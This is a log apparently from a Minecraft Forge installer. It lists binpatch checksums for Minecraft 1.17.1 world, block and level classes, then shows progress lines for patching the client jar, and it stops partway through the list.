Reading patch net.minecraft.world.level.block.FrostedIceBlock.binpatch Checksum: 93b5b8d3 Exists: true Reading patch net.minecraft.world.level.block.GrowingPlantBodyBlock.binpatch Checksum: d7fbd5cd Exists: true Reading patch net.minecraft.world.level.block.GrowingPlantHeadBlock.binpatch Checksum: fe57a71f Exists: true Reading patch net.minecraft.world.level.block.LeavesBlock.binpatch Checksum: 571e5304 Exists: true Reading patch net.minecraft.world.level.block.LightBlock.binpatch Checksum: 5c5bd3a4 Exists: true Reading patch net.minecraft.world.level.block.LiquidBlock.binpatch Checksum: c0328546 Exists: true Reading patch net.minecraft.world.level.block.MushroomBlock.binpatch Checksum: c95ec0cf Exists: true Reading patch net.minecraft.world.level.block.NetherPortalBlock$1.binpatch Checksum: 56941b4d Exists: true Reading patch net.minecraft.world.level.block.NetherPortalBlock.binpatch Checksum: 7138042c Exists: true Reading patch net.minecraft.world.level.block.NetherWartBlock.binpatch Checksum: fda0e98b Exists: true Reading patch net.minecraft.world.level.block.NoteBlock.binpatch Checksum: 2f8e3c89 Exists: true Reading patch net.minecraft.world.level.block.OreBlock.binpatch Checksum: c9edc279 Exists: true Reading patch net.minecraft.world.level.block.PotatoBlock.binpatch Checksum: a42b634 Exists: true Reading patch net.minecraft.world.level.block.PoweredRailBlock$1.binpatch Checksum: a7b719bb Exists: true Reading patch net.minecraft.world.level.block.PoweredRailBlock.binpatch Checksum: 4356c71b Exists: true Reading patch net.minecraft.world.level.block.PumpkinBlock.binpatch Checksum: 58489e3b Exists: true Reading patch net.minecraft.world.level.block.RailBlock$1.binpatch Checksum: 191130c Exists: true Reading patch net.minecraft.world.level.block.RailBlock.binpatch Checksum: 1edbd175 Exists: true Reading patch net.minecraft.world.level.block.RailState$1.binpatch Checksum: ac7f30de Exists: true Reading patch net.minecraft.world.level.block.RailState.binpatch Checksum: dd8848af Exists: true Reading patch net.minecraft.world.level.block.RedStoneOreBlock.binpatch Checksum: 7ef33d99 Exists: true Reading patch net.minecraft.world.level.block.SaplingBlock.binpatch Checksum: 52e8895 Exists: true Reading patch net.minecraft.world.level.block.SeagrassBlock.binpatch Checksum: 1c9895d1 Exists: true Reading patch net.minecraft.world.level.block.ShulkerBoxBlock$1.binpatch Checksum: c9cc528a Exists: true Reading patch net.minecraft.world.level.block.ShulkerBoxBlock.binpatch Checksum: 17f853c Exists: true Reading patch net.minecraft.world.level.block.SoundType.binpatch Checksum: dea2e9e Exists: true Reading patch net.minecraft.world.level.block.SpawnerBlock.binpatch Checksum: fad98c61 Exists: true Reading patch net.minecraft.world.level.block.SpreadingSnowyDirtBlock.binpatch Checksum: a8c2ffe1 Exists: true Reading patch net.minecraft.world.level.block.StairBlock$1.binpatch Checksum: dff44c9b Exists: true Reading patch net.minecraft.world.level.block.StairBlock.binpatch Checksum: 2b175d2f Exists: true Reading patch net.minecraft.world.level.block.StemBlock.binpatch Checksum: 68e0fcfe Exists: true Reading patch net.minecraft.world.level.block.SugarCaneBlock.binpatch Checksum: 7e8eae11 Exists: true Reading patch net.minecraft.world.level.block.SweetBerryBushBlock.binpatch Checksum: 99932f23 Exists: true Reading patch net.minecraft.world.level.block.TallGrassBlock.binpatch Checksum: 9b74ef6d Exists: true Reading patch net.minecraft.world.level.block.TallSeagrassBlock.binpatch Checksum: b31306fb Exists: true Reading patch net.minecraft.world.level.block.TntBlock.binpatch Checksum: dc0c89e1 Exists: true Reading patch net.minecraft.world.level.block.TrapDoorBlock$1.binpatch Checksum: 98df30ab Exists: true Reading patch net.minecraft.world.level.block.TrapDoorBlock.binpatch Checksum: 900a0197 Exists: true Reading patch net.minecraft.world.level.block.TripWireBlock$1.binpatch Checksum: 518920ca Exists: true Reading patch net.minecraft.world.level.block.TripWireBlock.binpatch Checksum: 5d801afb Exists: true Reading patch net.minecraft.world.level.block.TripWireHookBlock$1.binpatch Checksum: 60b0bc92 Exists: true Reading patch net.minecraft.world.level.block.TripWireHookBlock.binpatch Checksum: d577ccf Exists: true Reading patch net.minecraft.world.level.block.TurtleEggBlock.binpatch Checksum: fee7a12a Exists: true Reading patch net.minecraft.world.level.block.VineBlock$1.binpatch Checksum: ccc61cb2 Exists: true Reading patch net.minecraft.world.level.block.VineBlock.binpatch Checksum: 7593ff6f Exists: true Reading patch net.minecraft.world.level.block.WebBlock.binpatch Checksum: 4098a9a7 Exists: true Reading patch net.minecraft.world.level.block.entity.AbstractFurnaceBlockEntity$1.binpatch Checksum: dcf23869 Exists: true Reading patch net.minecraft.world.level.block.entity.AbstractFurnaceBlockEntity.binpatch Checksum: 28bd613b Exists: true Reading patch net.minecraft.world.level.block.entity.BannerPattern$Builder.binpatch Checksum: 4151861a Exists: true Reading patch net.minecraft.world.level.block.entity.BannerPattern.binpatch Checksum: 27a8d61a Exists: true Reading patch net.minecraft.world.level.block.entity.BaseContainerBlockEntity.binpatch Checksum: 30c6d278 Exists: true Reading patch net.minecraft.world.level.block.entity.BeaconBlockEntity$1.binpatch Checksum: 289329f1 Exists: true Reading patch net.minecraft.world.level.block.entity.BeaconBlockEntity$BeaconBeamSection.binpatch Checksum: b5bfb228 Exists: true Reading patch net.minecraft.world.level.block.entity.BeaconBlockEntity.binpatch Checksum: cc36ad6a Exists: true Reading patch net.minecraft.world.level.block.entity.BlockEntity.binpatch Checksum: bf852e51 Exists: true Reading patch net.minecraft.world.level.block.entity.BlockEntityType$BlockEntitySupplier.binpatch Checksum: 461af4e3 Exists: true Reading patch net.minecraft.world.level.block.entity.BlockEntityType$Builder.binpatch Checksum: 4f0bc4a1 Exists: true Reading patch net.minecraft.world.level.block.entity.BlockEntityType.binpatch Checksum: b2a06032 Exists: true Reading patch net.minecraft.world.level.block.entity.BrewingStandBlockEntity$1.binpatch Checksum: 3a7014e2 Exists: true Reading patch net.minecraft.world.level.block.entity.BrewingStandBlockEntity.binpatch Checksum: 2f0973f5 Exists: true Reading patch net.minecraft.world.level.block.entity.ChestBlockEntity$1.binpatch Checksum: 2ff8e310 Exists: true Reading patch net.minecraft.world.level.block.entity.ChestBlockEntity.binpatch Checksum: 76e04ce2 Exists: true Reading patch net.minecraft.world.level.block.entity.ConduitBlockEntity.binpatch Checksum: a99e734c Exists: true Reading patch net.minecraft.world.level.block.entity.HopperBlockEntity.binpatch Checksum: 4688d1ce Exists: true Reading patch net.minecraft.world.level.block.entity.ShulkerBoxBlockEntity$1.binpatch Checksum: d05e0a96 Exists: true Reading patch net.minecraft.world.level.block.entity.ShulkerBoxBlockEntity$AnimationStatus.binpatch Checksum: ad13b633 Exists: true Reading patch net.minecraft.world.level.block.entity.ShulkerBoxBlockEntity.binpatch Checksum: 1d8f57b6 Exists: true Reading patch net.minecraft.world.level.block.entity.SpawnerBlockEntity$1.binpatch Checksum: 7c585659 Exists: true Reading patch net.minecraft.world.level.block.entity.SpawnerBlockEntity.binpatch Checksum: c2796c32 Exists: true Reading patch net.minecraft.world.level.block.piston.MovingPistonBlock.binpatch Checksum: 40715bbd Exists: true Reading patch net.minecraft.world.level.block.piston.PistonBaseBlock$1.binpatch Checksum: be34472 Exists: true Reading patch net.minecraft.world.level.block.piston.PistonBaseBlock.binpatch Checksum: d65e4ead Exists: true Reading patch net.minecraft.world.level.block.piston.PistonHeadBlock$1.binpatch Checksum: b95dd2f6 Exists: true Reading patch net.minecraft.world.level.block.piston.PistonHeadBlock.binpatch Checksum: 812736 Exists: true Reading patch net.minecraft.world.level.block.piston.PistonMovingBlockEntity$1.binpatch Checksum: 563f3788 Exists: true Reading patch net.minecraft.world.level.block.piston.PistonMovingBlockEntity.binpatch Checksum: 265f6a24 Exists: true Reading patch net.minecraft.world.level.block.piston.PistonStructureResolver.binpatch Checksum: 905ab6eb Exists: true Reading patch net.minecraft.world.level.block.state.BlockBehaviour$1.binpatch Checksum: 2394d79d Exists: true Reading patch net.minecraft.world.level.block.state.BlockBehaviour$BlockStateBase$Cache.binpatch Checksum: fcc5a08e Exists: true Reading patch net.minecraft.world.level.block.state.BlockBehaviour$BlockStateBase.binpatch Checksum: 1d2da889 Exists: true Reading patch net.minecraft.world.level.block.state.BlockBehaviour$OffsetType.binpatch Checksum: 6a09835e Exists: true Reading patch net.minecraft.world.level.block.state.BlockBehaviour$Properties.binpatch Checksum: b0774fd2 Exists: true Reading patch net.minecraft.world.level.block.state.BlockBehaviour$StateArgumentPredicate.binpatch Checksum: 7362e0c4 Exists: true Reading patch net.minecraft.world.level.block.state.BlockBehaviour$StatePredicate.binpatch Checksum: f76f85ad Exists: true Reading patch net.minecraft.world.level.block.state.BlockBehaviour.binpatch Checksum: 2a3a92f Exists: true Reading patch net.minecraft.world.level.block.state.BlockState.binpatch Checksum: 970bd451 Exists: true Reading patch net.minecraft.world.level.block.state.properties.WoodType.binpatch Checksum: 6d2ccdc9 Exists: true Reading patch net.minecraft.world.level.chunk.ChunkAccess.binpatch Checksum: ea3a8426 Exists: true Reading patch net.minecraft.world.level.chunk.ChunkStatus$ChunkType.binpatch Checksum: 83995d04 Exists: true Reading patch net.minecraft.world.level.chunk.ChunkStatus$GenerationTask.binpatch Checksum: 84291340 Exists: true Reading patch net.minecraft.world.level.chunk.ChunkStatus$LoadingTask.binpatch Checksum: d0488d30 Exists: true Reading patch net.minecraft.world.level.chunk.ChunkStatus$SimpleGenerationTask.binpatch Checksum: 3d7c8d66 Exists: true Reading patch net.minecraft.world.level.chunk.ChunkStatus.binpatch Checksum: 18377fd4 Exists: true Reading patch net.minecraft.world.level.chunk.LevelChunk$1.binpatch Checksum: 3e2bcac5 Exists: true Reading patch net.minecraft.world.level.chunk.LevelChunk$BoundTickingBlockEntity.binpatch Checksum: e7c80b27 Exists: true Reading patch net.minecraft.world.level.chunk.LevelChunk$EntityCreationType.binpatch Checksum: 8b5f7d27 Exists: true Reading patch net.minecraft.world.level.chunk.LevelChunk$RebindableTickingBlockEntityWrapper.binpatch Checksum: f5800e45 Exists: true Reading patch net.minecraft.world.level.chunk.LevelChunk.binpatch Checksum: c476bcba Exists: true Reading patch net.minecraft.world.level.chunk.PalettedContainer$CountConsumer.binpatch Checksum: d0f78266 Exists: true Reading patch net.minecraft.world.level.chunk.PalettedContainer.binpatch Checksum: eed755b2 Exists: true Reading patch net.minecraft.world.level.chunk.ProtoChunk.binpatch Checksum: bd361664 Exists: true Reading patch net.minecraft.world.level.chunk.storage.ChunkSerializer.binpatch Checksum: 20b8e6f6 Exists: true Reading patch net.minecraft.world.level.chunk.storage.EntityStorage.binpatch Checksum: 32d92544 Exists: true Reading patch net.minecraft.world.level.dimension.end.EndDragonFight.binpatch Checksum: 3d581a2f Exists: true Reading patch net.minecraft.world.level.gameevent.GameEvent.binpatch Checksum: 79f2844a Exists: true Reading patch net.minecraft.world.level.levelgen.DebugLevelSource.binpatch Checksum: 30d7ba97 Exists: true Reading patch net.minecraft.world.level.levelgen.NoiseBasedChunkGenerator$NoodleCaveNoiseModifier.binpatch Checksum: 1d68e06 Exists: true Reading patch net.minecraft.world.level.levelgen.NoiseBasedChunkGenerator$OreVeinNoiseSource.binpatch Checksum: d07d115 Exists: true Reading patch net.minecraft.world.level.levelgen.NoiseBasedChunkGenerator.binpatch Checksum: 221c9d40 Exists: true Reading patch net.minecraft.world.level.levelgen.PatrolSpawner.binpatch Checksum: a134a5b7 Exists: true Reading patch net.minecraft.world.level.levelgen.PhantomSpawner.binpatch Checksum: 4b66b532 Exists: true Reading patch net.minecraft.world.level.levelgen.WorldGenSettings.binpatch Checksum: caf01f1b Exists: true Reading patch net.minecraft.world.level.levelgen.carver.WorldCarver$CarveSkipChecker.binpatch Checksum: 8f7734d Exists: true Reading patch net.minecraft.world.level.levelgen.carver.WorldCarver.binpatch Checksum: 90586f02 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.Feature.binpatch Checksum: 97180e73 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.MonsterRoomFeature.binpatch Checksum: f5f7582 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.NetherFortressFeature$NetherBridgeStart.binpatch Checksum: 6548e2cf Exists: true Reading patch net.minecraft.world.level.levelgen.feature.NetherFortressFeature.binpatch Checksum: 42021fe Exists: true Reading patch net.minecraft.world.level.levelgen.feature.OceanMonumentFeature$OceanMonumentStart.binpatch Checksum: 374679b0 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.OceanMonumentFeature.binpatch Checksum: 965cde23 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.PillagerOutpostFeature.binpatch Checksum: a93904b4 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.StructureFeature$StructureStartFactory.binpatch Checksum: e81524c7 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.StructureFeature.binpatch Checksum: c4f55f66 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.SwamplandHutFeature$FeatureStart.binpatch Checksum: f64389d0 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.SwamplandHutFeature.binpatch Checksum: 46bf9e7b Exists: true Reading patch net.minecraft.world.level.levelgen.feature.blockplacers.BlockPlacerType.binpatch Checksum: eb3c9be5 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.configurations.TreeConfiguration$TreeConfigurationBuilder.binpatch Checksum: ec1689b2 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.configurations.TreeConfiguration.binpatch Checksum: 4de584fc Exists: true Reading patch net.minecraft.world.level.levelgen.feature.foliageplacers.FoliagePlacerType.binpatch Checksum: dc675dfb Exists: true Reading patch net.minecraft.world.level.levelgen.feature.stateproviders.BlockStateProviderType.binpatch Checksum: b8da74b7 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.structures.SinglePoolElement.binpatch Checksum: 2457306b Exists: true Reading patch net.minecraft.world.level.levelgen.feature.structures.StructureTemplatePool$Projection.binpatch Checksum: 8d73f698 Exists: true Reading patch net.minecraft.world.level.levelgen.feature.structures.StructureTemplatePool.binpatch Checksum: 80540bcc Exists: true Reading patch net.minecraft.world.level.levelgen.feature.treedecorators.TreeDecoratorType.binpatch Checksum: f3bea280 Exists: true Reading patch net.minecraft.world.level.levelgen.flat.FlatLevelGeneratorSettings.binpatch Checksum: 79a0eba5 Exists: true Reading patch net.minecraft.world.level.levelgen.placement.FeatureDecorator.binpatch Checksum: 542498d1 Exists: true Reading patch net.minecraft.world.level.levelgen.structure.StructurePiece$1.binpatch Checksum: 623cc5ed Exists: true Reading patch net.minecraft.world.level.levelgen.structure.StructurePiece$BlockSelector.binpatch Checksum: b6c004b6 Exists: true Reading patch net.minecraft.world.level.levelgen.structure.StructurePiece.binpatch Checksum: a2a395e5 Exists: true Reading patch net.minecraft.world.level.levelgen.structure.StructureStart$1.binpatch Checksum: 7777472 Exists: true Reading patch net.minecraft.world.level.levelgen.structure.StructureStart.binpatch Checksum: 5920d3f0 Exists: true Reading patch net.minecraft.world.level.levelgen.structure.templatesystem.StructureProcessor.binpatch Checksum: 7244ee8f Exists: true Reading patch net.minecraft.world.level.levelgen.structure.templatesystem.StructureTemplate$1.binpatch Checksum: 53184649 Exists: true Reading patch net.minecraft.world.level.levelgen.structure.templatesystem.StructureTemplate$Palette.binpatch Checksum: 69124c1a Exists: true Reading patch net.minecraft.world.level.levelgen.structure.templatesystem.StructureTemplate$SimplePalette.binpatch Checksum: 2753abef Exists: true Reading patch net.minecraft.world.level.levelgen.structure.templatesystem.StructureTemplate$StructureBlockInfo.binpatch Checksum: 89dd80f7 Exists: true Reading patch net.minecraft.world.level.levelgen.structure.templatesystem.StructureTemplate$StructureEntityInfo.binpatch Checksum: c3951a89 Exists: true Reading patch net.minecraft.world.level.levelgen.structure.templatesystem.StructureTemplate.binpatch Checksum: 4cc2095 Exists: true Reading patch net.minecraft.world.level.levelgen.surfacebuilders.SurfaceBuilder.binpatch Checksum: fb5d3b26 Exists: true Reading patch net.minecraft.world.level.lighting.BlockLightEngine.binpatch Checksum: 8bde6c90 Exists: true Reading patch net.minecraft.world.level.lighting.DynamicGraphMinFixedPoint$1.binpatch Checksum: 49c5f0f6 Exists: true Reading patch net.minecraft.world.level.lighting.DynamicGraphMinFixedPoint$2.binpatch Checksum: e383f07e Exists: true Reading patch net.minecraft.world.level.lighting.DynamicGraphMinFixedPoint.binpatch Checksum: 1d523676 Exists: true Reading patch net.minecraft.world.level.lighting.LayerLightEngine.binpatch Checksum: 5f359946 Exists: true Reading patch net.minecraft.world.level.lighting.SkyLightEngine.binpatch Checksum: 132da0e6 Exists: true Reading patch net.minecraft.world.level.material.FlowingFluid$1.binpatch Checksum: 9e330d81 Exists: true Reading patch net.minecraft.world.level.material.FlowingFluid.binpatch Checksum: 3fe27a78 Exists: true Reading patch net.minecraft.world.level.material.Fluid.binpatch Checksum: 154001f Exists: true Reading patch net.minecraft.world.level.material.FluidState.binpatch Checksum: 66eb7244 Exists: true Reading patch net.minecraft.world.level.material.LavaFluid$Flowing.binpatch Checksum: 2c6921f Exists: true Reading patch net.minecraft.world.level.material.LavaFluid$Source.binpatch Checksum: fb50bae9 Exists: true Reading patch net.minecraft.world.level.material.LavaFluid.binpatch Checksum: e7ddbd07 Exists: true Reading patch net.minecraft.world.level.newbiome.layer.BiomeInitLayer.binpatch Checksum: 68fd6bec Exists: true Reading patch net.minecraft.world.level.pathfinder.BlockPathTypes.binpatch Checksum: 91201d10 Exists: true Reading patch net.minecraft.world.level.pathfinder.WalkNodeEvaluator.binpatch Checksum: 9110aaca Exists: true Reading patch net.minecraft.world.level.portal.PortalForcer.binpatch Checksum: 60239a15 Exists: true Reading patch net.minecraft.world.level.portal.PortalShape.binpatch Checksum: 5c981ba1 Exists: true Reading patch net.minecraft.world.level.saveddata.maps.MapDecoration$Type.binpatch Checksum: 89b1a2b Exists: true Reading patch net.minecraft.world.level.saveddata.maps.MapDecoration.binpatch Checksum: afca016a Exists: true Reading patch net.minecraft.world.level.storage.DimensionDataStorage.binpatch Checksum: d442b6f0 Exists: true Reading patch net.minecraft.world.level.storage.LevelStorageSource$LevelStorageAccess$1.binpatch Checksum: 20b0e395 Exists: true Reading patch net.minecraft.world.level.storage.LevelStorageSource$LevelStorageAccess$2.binpatch Checksum: c1230adc Exists: true Reading patch net.minecraft.world.level.storage.LevelStorageSource$LevelStorageAccess.binpatch Checksum: 8fcb76f3 Exists: true Reading patch net.minecraft.world.level.storage.LevelStorageSource.binpatch Checksum: 782e47f2 Exists: true Reading patch net.minecraft.world.level.storage.PlayerDataStorage.binpatch Checksum: b28ebe24 Exists: true Reading patch net.minecraft.world.level.storage.loot.LootContext$Builder.binpatch Checksum: 730f00f Exists: true Reading patch net.minecraft.world.level.storage.loot.LootContext$DynamicDrop.binpatch Checksum: 73f1d4fe Exists: true Reading patch net.minecraft.world.level.storage.loot.LootContext$EntityTarget$Serializer.binpatch Checksum: 47ab61cd Exists: true Reading patch net.minecraft.world.level.storage.loot.LootContext$EntityTarget.binpatch Checksum: fc014586 Exists: true Reading patch net.minecraft.world.level.storage.loot.LootContext.binpatch Checksum: f82a6ae4 Exists: true Reading patch net.minecraft.world.level.storage.loot.LootPool$Builder.binpatch Checksum: 6b64a549 Exists: true Reading patch net.minecraft.world.level.storage.loot.LootPool$Serializer.binpatch Checksum: 3ce3ff44 Exists: true Reading patch net.minecraft.world.level.storage.loot.LootPool.binpatch Checksum: 28d2b3c Exists: true Reading patch net.minecraft.world.level.storage.loot.LootTable$Builder.binpatch Checksum: 197d6b6d Exists: true Reading patch net.minecraft.world.level.storage.loot.LootTable$Serializer.binpatch Checksum: e4ba8b83 Exists: true Reading patch net.minecraft.world.level.storage.loot.LootTable.binpatch Checksum: bb2b4692 Exists: true Reading patch net.minecraft.world.level.storage.loot.LootTables.binpatch Checksum: 83a488a4 Exists: true Reading patch net.minecraft.world.level.storage.loot.functions.LootingEnchantFunction$Builder.binpatch Checksum: 20ae747e Exists: true Reading patch net.minecraft.world.level.storage.loot.functions.LootingEnchantFunction$Serializer.binpatch Checksum: b1a8e409 Exists: true Reading patch net.minecraft.world.level.storage.loot.functions.LootingEnchantFunction.binpatch Checksum: cdd20f5b Exists: true Reading patch net.minecraft.world.level.storage.loot.functions.SmeltItemFunction$Serializer.binpatch Checksum: ba08719a Exists: true Reading patch net.minecraft.world.level.storage.loot.functions.SmeltItemFunction.binpatch Checksum: 5208bd26 Exists: true Reading patch net.minecraft.world.level.storage.loot.parameters.LootContextParamSets.binpatch Checksum: 715adfaf Exists: true Reading patch net.minecraft.world.level.storage.loot.predicates.LootItemRandomChanceCondition$Serializer.binpatch Checksum: aaded065 Exists: true Reading patch net.minecraft.world.level.storage.loot.predicates.LootItemRandomChanceCondition.binpatch Checksum: 4a3dd1a4 Exists: true Reading patch net.minecraft.world.level.storage.loot.predicates.LootItemRandomChanceWithLootingCondition$Serializer.binpatch Checksum: e4c603c6 Exists: true Reading patch net.minecraft.world.level.storage.loot.predicates.LootItemRandomChanceWithLootingCondition.binpatch Checksum: 9db4a14 Exists: true Reading patch net.minecraft.world.phys.Vec3.binpatch Checksum: 431608b5 Exists: true Processing: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-srg.jar Patching net/minecraft/world/phys/Vec3 1/1 Patching net/minecraft/world/level/storage/loot/predicates/LootItemRandomChanceWithLootingCondition$Serializer 1/1 Patching net/minecraft/world/level/storage/loot/predicates/LootItemRandomChanceWithLootingCondition 1/1 Patching net/minecraft/world/level/storage/loot/predicates/LootItemRandomChanceCondition 1/1 Patching net/minecraft/world/level/storage/loot/predicates/LootItemRandomChanceCondition$Serializer 1/1 Patching net/minecraft/world/level/storage/loot/parameters/LootContextParamSets 1/1 Patching net/minecraft/world/level/storage/loot/functions/SmeltItemFunction$Serializer 1/1 Patching net/minecraft/world/level/storage/loot/functions/LootingEnchantFunction 1/1 Patching net/minecraft/world/level/storage/loot/functions/LootingEnchantFunction$Builder 1/1 Patching net/minecraft/world/level/storage/loot/functions/LootingEnchantFunction$Serializer 1/1 Patching net/minecraft/world/level/storage/loot/functions/SmeltItemFunction 1/1 Patching net/minecraft/world/level/storage/loot/LootTable$Serializer 1/1 Patching net/minecraft/world/level/storage/loot/LootPool$Serializer 1/1 Patching net/minecraft/world/level/storage/loot/LootTables 1/1 Patching net/minecraft/world/level/storage/loot/LootContext$DynamicDrop 1/1 Patching net/minecraft/world/level/storage/loot/LootTable$Builder 1/1 Patching net/minecraft/world/level/storage/loot/LootPool 1/1 Patching net/minecraft/world/level/storage/loot/LootContext$EntityTarget$Serializer 1/1 Patching net/minecraft/world/level/storage/loot/LootTable 1/1 Patching net/minecraft/world/level/storage/loot/LootContext 1/1 Patching net/minecraft/world/level/storage/loot/LootPool$Builder 1/1 Patching net/minecraft/world/level/storage/loot/LootContext$EntityTarget 1/1 Patching net/minecraft/world/level/storage/loot/LootContext$Builder 1/1 Patching net/minecraft/world/level/storage/PlayerDataStorage 1/1 Patching net/minecraft/world/level/storage/LevelStorageSource$LevelStorageAccess$2 1/1 Patching net/minecraft/world/level/storage/LevelStorageSource$LevelStorageAccess$1 1/1 Patching net/minecraft/world/level/storage/DimensionDataStorage 1/1 Patching net/minecraft/world/level/saveddata/maps/MapDecoration 1/1 Patching net/minecraft/world/level/storage/LevelStorageSource 1/1 Patching net/minecraft/world/level/storage/LevelStorageSource$LevelStorageAccess 1/1 Patching net/minecraft/world/level/saveddata/maps/MapDecoration$Type 1/1 Patching net/minecraft/world/level/portal/PortalShape 1/1 Patching net/minecraft/world/level/pathfinder/BlockPathTypes 1/1 Patching net/minecraft/world/level/portal/PortalForcer 1/1 Patching net/minecraft/world/level/newbiome/layer/BiomeInitLayer 1/1 Patching net/minecraft/world/level/material/LavaFluid$Source 1/1 Patching net/minecraft/world/level/material/LavaFluid$Flowing 1/1 Patching net/minecraft/world/level/material/FlowingFluid$1 1/1 Patching net/minecraft/world/level/material/FluidState 1/1 Patching net/minecraft/world/level/material/Fluid 1/1 Patching net/minecraft/world/level/pathfinder/WalkNodeEvaluator 1/1 Patching net/minecraft/world/level/material/LavaFluid 1/1 Patching net/minecraft/world/level/lighting/DynamicGraphMinFixedPoint$2 1/1 Patching net/minecraft/world/level/lighting/DynamicGraphMinFixedPoint$1 1/1 Patching net/minecraft/world/level/lighting/DynamicGraphMinFixedPoint 1/1 Patching net/minecraft/world/level/lighting/LayerLightEngine 1/1 Patching net/minecraft/world/level/lighting/BlockLightEngine 1/1 Patching net/minecraft/world/level/material/FlowingFluid 1/1 Patching net/minecraft/world/level/lighting/SkyLightEngine 1/1 Patching net/minecraft/world/level/levelgen/surfacebuilders/SurfaceBuilder 1/1 Patching net/minecraft/world/level/levelgen/structure/templatesystem/StructureTemplate$StructureEntityInfo 1/1 Patching net/minecraft/world/level/levelgen/structure/templatesystem/StructureTemplate$StructureBlockInfo 1/1 Patching net/minecraft/world/level/levelgen/structure/templatesystem/StructureTemplate$SimplePalette 1/1 Patching net/minecraft/world/level/levelgen/structure/templatesystem/StructureTemplate$Palette 1/1 Patching net/minecraft/world/level/levelgen/structure/templatesystem/StructureProcessor 1/1 Patching net/minecraft/world/level/levelgen/structure/templatesystem/StructureTemplate$1 1/1 Patching net/minecraft/world/level/levelgen/structure/StructureStart$1 1/1 Patching net/minecraft/world/level/levelgen/structure/StructurePiece$BlockSelector 1/1 Patching net/minecraft/world/level/levelgen/structure/StructurePiece$1 1/1 Patching net/minecraft/world/level/levelgen/structure/StructureStart 1/1 Patching net/minecraft/world/level/levelgen/structure/templatesystem/StructureTemplate 1/1 Patching net/minecraft/world/level/levelgen/structure/StructurePiece 1/1 Patching net/minecraft/world/level/levelgen/placement/FeatureDecorator 1/1 Patching net/minecraft/world/level/levelgen/feature/treedecorators/TreeDecoratorType 1/1 Patching net/minecraft/world/level/levelgen/feature/structures/StructureTemplatePool$Projection 1/1 Patching net/minecraft/world/level/levelgen/flat/FlatLevelGeneratorSettings 1/1 Patching net/minecraft/world/level/levelgen/feature/structures/StructureTemplatePool 1/1 Patching net/minecraft/world/level/levelgen/feature/structures/SinglePoolElement 1/1 Patching net/minecraft/world/level/levelgen/feature/stateproviders/BlockStateProviderType 1/1 Patching net/minecraft/world/level/levelgen/feature/foliageplacers/FoliagePlacerType 1/1 Patching net/minecraft/world/level/levelgen/feature/configurations/TreeConfiguration$TreeConfigurationBuilder 1/1 Patching net/minecraft/world/level/levelgen/feature/configurations/TreeConfiguration 1/1 Patching net/minecraft/world/level/levelgen/feature/blockplacers/BlockPlacerType 1/1 Patching net/minecraft/world/level/levelgen/feature/SwamplandHutFeature$FeatureStart 1/1 Patching net/minecraft/world/level/levelgen/feature/SwamplandHutFeature 1/1 Patching net/minecraft/world/level/levelgen/feature/StructureFeature$StructureStartFactory 1/1 Patching net/minecraft/world/level/levelgen/feature/PillagerOutpostFeature 1/1 Patching net/minecraft/world/level/levelgen/feature/StructureFeature 1/1 Patching net/minecraft/world/level/levelgen/feature/OceanMonumentFeature$OceanMonumentStart 1/1 Patching net/minecraft/world/level/levelgen/feature/OceanMonumentFeature 1/1 Patching net/minecraft/world/level/levelgen/feature/NetherFortressFeature 1/1 Patching net/minecraft/world/level/levelgen/feature/NetherFortressFeature$NetherBridgeStart 1/1 Patching net/minecraft/world/level/levelgen/feature/MonsterRoomFeature 1/1 Patching net/minecraft/world/level/levelgen/carver/WorldCarver$CarveSkipChecker 1/1 Patching net/minecraft/world/level/levelgen/feature/Feature 1/1 Patching net/minecraft/world/level/levelgen/carver/WorldCarver 1/1 Patching net/minecraft/world/level/levelgen/PatrolSpawner 1/1 Patching net/minecraft/world/level/levelgen/NoiseBasedChunkGenerator$OreVeinNoiseSource 1/1 Patching net/minecraft/world/level/levelgen/NoiseBasedChunkGenerator$NoodleCaveNoiseModifier 1/1 Patching net/minecraft/world/level/levelgen/WorldGenSettings 1/1 Patching net/minecraft/world/level/levelgen/DebugLevelSource 1/1 Patching net/minecraft/world/level/gameevent/GameEvent 1/1 Patching net/minecraft/world/level/levelgen/PhantomSpawner 1/1 Patching net/minecraft/world/level/levelgen/NoiseBasedChunkGenerator 1/1 Patching net/minecraft/world/level/chunk/storage/EntityStorage 1/1 Patching net/minecraft/world/level/chunk/PalettedContainer$CountConsumer 1/1 Patching net/minecraft/world/level/chunk/LevelChunk$RebindableTickingBlockEntityWrapper 1/1 Patching net/minecraft/world/level/chunk/LevelChunk$EntityCreationType 1/1 Patching net/minecraft/world/level/chunk/PalettedContainer 1/1 Patching net/minecraft/world/level/chunk/LevelChunk$1 1/1 Patching net/minecraft/world/level/chunk/LevelChunk$BoundTickingBlockEntity 1/1 Patching net/minecraft/world/level/dimension/end/EndDragonFight 1/1 Patching net/minecraft/world/level/chunk/ChunkStatus$LoadingTask 1/1 Patching net/minecraft/world/level/chunk/ChunkStatus$GenerationTask 1/1 Patching net/minecraft/world/level/chunk/ChunkStatus$SimpleGenerationTask 1/1 Patching net/minecraft/world/level/chunk/ChunkStatus$ChunkType 1/1 Patching net/minecraft/world/level/chunk/ChunkAccess 1/1 Patching net/minecraft/world/level/chunk/storage/ChunkSerializer 1/1 Patching net/minecraft/world/level/chunk/ProtoChunk 1/1 Patching net/minecraft/world/level/block/state/properties/WoodType 1/1 Patching net/minecraft/world/level/chunk/LevelChunk 1/1 Patching net/minecraft/world/level/chunk/ChunkStatus 1/1 Patching net/minecraft/world/level/block/state/BlockState 1/1 Patching net/minecraft/world/level/block/state/BlockBehaviour$StatePredicate 1/1 Patching net/minecraft/world/level/block/state/BlockBehaviour$StateArgumentPredicate 1/1 Patching net/minecraft/world/level/block/state/BlockBehaviour$OffsetType 1/1 Patching net/minecraft/world/level/block/state/BlockBehaviour$1 1/1 Patching net/minecraft/world/level/block/piston/PistonMovingBlockEntity$1 1/1 Patching 